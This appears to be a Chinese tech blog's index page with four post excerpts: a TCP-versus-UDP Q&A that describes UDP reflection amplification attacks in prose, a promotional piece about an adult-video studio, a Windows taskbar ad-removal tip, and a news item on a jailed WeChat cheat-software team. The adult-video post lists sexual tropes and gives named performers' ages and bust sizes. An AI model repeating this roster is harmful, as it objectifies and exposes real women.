    如果发送一个网络请求后,客户端离线,并且同一个IP被分配给另一台客户端,那么服务器响应会怎么做? 如题,假设客户端IP是1.1.1.1,我向2.2.2.2的客户端发送了一个请求。然后我这台客户端断网,另一台客户端设置IP地址为1.1.1.1。那么服务端在响应请求的时候会将响应发送给新的客户端吗?(假设两个客户端都是监听同一个端口)。如果发送了,会有安全隐患吗?  取决于使用的是TCP还是UDP传输协议,对于TCP没有丝毫影响,但是对于UDP却有安全隐患。不要忘记TCP是有连接(connection)的传输协议,而UDP是无连接(connectionless)的传输协议。 TCP场景一:客户端1.1.1.1使用源端口10000发给服务器2.2.2.2的443端口的是SYN报文  服务器眼里这是一个正常的建立连接报文,于是回复SYN+ACK。 回复的报文到达另外一台客户端,IP =1.1.1.1。客户端一脸懵圈,自己本地的连接库里没有和2.2.2.2:443的连接。于是毫不犹豫发Reset报文,并将收到的报文丢弃。  TCP场景二:客户端1.1.1.1使用源端口10000发给服务器2.2.2.2的443端口的是用户请求报文  服务器经过TCP、TLS、HTTP的层层检查,发现接收到的报文是一个合法报文,回复一个服务器响应报文。 回复的报文到达另外一台客户端,IP =1.1.1.1。客户端一脸震惊,自己本地的连接库里没有和2.2.2.2:443的连接。于是毫不犹豫发Reset报文,并将收到的报文丢弃。 如果客户端1.1.1.1 是一台可以捕获packet的机器。由于报文加密,即使捕获到报文也无法解密看到原始报文。  TCP场景三:客户端1.1.1.1使用源端口10000发给服务器2.2.2.2的443端口的是用户FIN报文  服务器经过TCP检查,发现接收到的报文是一个合法报文,回复一个服务器ACK响应报文。 回复的报文到达另外一台客户端,IP =1.1.1.1。客户端一脸无辜,自己本地的连接库里没有和2.2.2.2:443的连接。于是毫不犹豫发Reset报文,并将收到的报文丢弃。  UDP场景:客户端1.1.1.1使用源端口10000发给服务器2.2.2.2的53端口DNS查询报文  服务器将DNS查询结果返回1.1.1.1:10000。 报文到达客户端1.1.1.1,客户端某进程正在监听端口10000,报文被该进程接收并处理。  这个问题和伪造一个源IP地址,没有本质的差别。比如你想攻击1.1.1.1服务器,但是你不想直接攻击它,而是把攻击报文发到2.2.2.2,借助2.2.2.2来攻击1.1.1.1。就可以使用UDP伪造N个报文,然后2.2.2.2会将自己的回复报文全部倾泻到受害者1.1.1.1的身上。由于请求报文通常比较小,回复报文要大好多倍,攻击效果就放大了许多倍。 ...

    2021-04-08 665
  • 麻豆传媒的“女演员”大全

    提起“国产视频”这个话题,想必大家脑海中首先浮现的画面是【某先生】、【X仔】等网络人物采用的盗摄方式制作的视频,亦或是某个直播平台上的抓取的视频,在那谈不上高清又晃动的画面中,所呈现的更多是一些的标题作品,而这些方式还有个很坑的点,就是女性权利的问题,盗摄和抓取画面肯定是没经过女性同意的。 这种背景之下,【Swag】平台就成了近年来比较受欢迎的业界UP主平台,其实在【Swag】平台之后,在2019年的下半年【麻豆】也就这么横空出世。一 、公司简介麻豆傳媒映畫,办公地点设在台湾,大陆投资,主营业务是写真拍摄,微视频制作推广麻豆傳媒映畫早期主要是拍摄写真作品,类似国内的一些写真网站风格2019年年底的时候,麻豆傳媒映畫开始涉足拍摄国产剧情影片,影片分发渠道是几款付费APP也可以说是宣传自己的同时,为APP做推广,赚取一定的广告费好的作品大家都应该支持,毕竟大家都要恰饭,创作者这样做也无可厚非 二、主要演员目前“麻豆傳媒映畫”拍摄的作品大致有快一百部了吧,不同平台上作品数量有所不同,付费模式大致类似作品模特演员,采取的是付费招募,有专职的,也有单片付费出演的这一点上大致是参考的日本行业模式,也就是我们说的素人和专职优优的区别如果把这些参演演员和内地来做对比的话,可以认为演员属于国内常说的外围模特群体,影片画质是非常不错的,全高清! 三、作品风格剧情设计上日本电影中常见的套路,大家应该很熟悉了吧包含了:兄妹 、空姐 、尾随、 护士、 按摩、 快递员 、表哥、 舅舅、 街头搭讪、 高中生破处、 老师 、闺蜜 、朋友姐姐、 管家、 教师 、保安 、经理 、客户、 秘书 、女友性爱陷阱、 修理工等可谓是五花八门,应有尽有,满足了用户的各种需求比起岛国的还是有些逊色。演员对话上稍微显得尴尬,但是动作戏方面又很卖力。如果剧情的复杂程度上再提高一些会更出彩,不过各位君子可能都是醉翁之意不在酒吧,麻豆漂亮才是关键某种程度上可以这么说,在国内市场并不开放的情况下,麻豆是国语剧情片探路者,开拓者高质量(高画质、高颜值)的剧情片只是一个开端,麻豆率先挑起了行业内规模组织之间竞争,其作用不亚于《流浪地球》对于国产科幻的刺激。 四、后续发展目前来看还是成功的,他们开创了一个新的作品风格,表面套用岛国的套路,实际上还是有自己的特色,拍出了贴近国人生活的作品比如欧美玲出演的过大年上下两部,正值中国农历新年,有剧情,有生活,非常的应景,代入感很强还有王茜闺蜜系列,赵佳美搭讪系列,唐心主播系列,顾伊梦朋友姐姐,叶倩如家庭教师,司徒丹妮同事聚会,杜若冰的婚内出轨,刘语珊武汉疫情等等等无一不与我们的生活息息相关,当然,意外肯定是会有的,【麻豆】所要面对的问题以及市场的冲击也是避免不了的,就目前来说摆在【麻豆】面前最大的问题就是版权的问题,另一方是【麻豆】的投放平台很少,也未曾开启会员付费订阅,甚至没有自己的专有平台,而是跟APP合作赚取分成,对于盗版者来说,【麻豆】的盗版成本太低了。 目前已经出场的麻豆女湿主名单: 司徒丹妮 年龄:25岁 身高:165cm 胸围:34C 张芸熙 年龄:22岁 身高:158cm 胸围:34F 夏瀅 年龄:25岁 身高:162cm 胸围:38D 寧洋子 年龄:26岁 胸围:32B 身高:155cm 吳夢夢 年龄:29岁 胸围:34C 身高:166 秦可欣 年龄:21岁 胸围:38B 身高:168cm 林思妤 年龄:23岁 身高:166 胸围:34c 艾秋 年龄:22岁 身高:165cm 胸围:32B/24/33 叶一涵 年龄:23岁 身高:168cm 胸围:34c 刘语姗 年龄:26岁 身高:164cm 胸围:34B 欧阳晶 年龄:26岁 身高:170cm 胸围:32B 李慕儿 年龄:24岁 身高:166cm 胸围:36B 刘思慧 年龄:27岁 身高:160cm 胸围:36B 徐韻珊 年龄:24岁 身高:165cm 胸围:32D 赵颖儿 年龄:21岁 身高:160cm 胸围:34c 欧美玲 年龄:25岁 身高:169cm 胸围:34C 李婧琪 年龄:23岁 身高:165cm 胸围:32B 许安妮 年龄:24岁 身高:168cm 胸围:36E 赵佳美 年龄:24岁 胸围:34C 身高:168cm 杜冰若 身高:166cm 体重:44kg 胸围:34B 王茜 身高:160cm 体重:42kg 胸围:32B 沈娜娜 年龄:24岁 身高:166cm 胸围:32d ...

    2021-04-07 46766
  • Windows任务栏快捷方式广告问题

    有时候安装了恶意软件,会给任务栏的浏览器图标设置导航。 不管怎么改都没有用。 下面的方法主要是解决这个问题。 1、按 Win + R 组合键,打开运行窗口,输入并确定或回车执行以下命令,可以快速打开任务栏快捷方式所在文件夹,进行相应的备份 %AppData%\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar 找到你的图标,右键属性,把这一部分网址删掉就可以了。 如果没有找到你的浏览器图标,输入下面几个路径,然后挨个文件夹看一遍 %AppData%\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts ...

    2021-04-07 679
  • 微信外挂软件“海贼王”团队被判刑10年

    最近了解到,圈内一家名为“海贼王”的微信外挂软件开发团队又被一锅端了,该软件因为提供一键删除好友、添加好友、修改朋友圈、一键洗白、检测账户封号、批量实名认证等微信外挂功能,被判定非法获取计算机信息系统数据,非法获利42万,团队老大被判刑10年! 根据深入了解得知,“海贼王”外挂软之所被警方盯上,原来是因为,“海贼王”可以提供微信挂机模式、一键删除好友、添加好友、修改朋友圈、一键洗白、检测账户封号、批量实名认证等功能,在圈内据说有很高的下载量,很多搞微信群控和微信矩阵营销的都在用,估计这也是“海贼王”被盯上,整个团队被一锅端的原因。 另外了解到“海贼王”微信外挂软件开发团队一开始其实犯的事没有那么重,当时就是该软件开发者因为自己在搞微信号买卖所以想着找俩人开发弄个软件出来方便卖微信号,但是后面估计看圈里面有人搞微信外挂来钱快,他们也搞上了,开发并上线了支持一键删除好友、添加好友、微信外挂软件,“海贼王”,然后为了推广,还很专业的建设了网站,制作了推广海报和推广短视频,而且还找了一群代理,在圈里越来越知名,生意越做越大,可以说,到这里,这帮人犯得事基本就很严重了,注定要进去了! 要知道,灰色业务,出名越快,死的就越快,很多低调的微信外挂都被被腾讯举报给一锅端了,这种就更没得跑了! 随着“海贼王”搞得越来越大,结果就是被警方盯上,最后整个“海贼王”微信外挂软件开发团队,包括所有代理都没放过,都被以非法侵入并控制深圳腾讯计算机系统有限公司的计算机系统罪,非法获利42万,整个业务线上下游被一锅端,团队老大和老二分别被判处有期徒刑十年、八年六个月,其余36名被告分别被判处有期徒刑八年至六个月不等,全部被安排了,所有折腾都成一场空! 最后针对“海贼王”团队被一锅端,有站长表示,折腾一大圈,30多口人因为40多万进去,真心不靠谱,随着微信对第三方外挂打击力度越来越大,这两年跟微信沾边的外挂软件很少有落得好下场的,即使来钱快,对于这些业务,建议站长们还是千万不要碰,人要是进去了啥都没了! ...

    2021-04-07 691

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注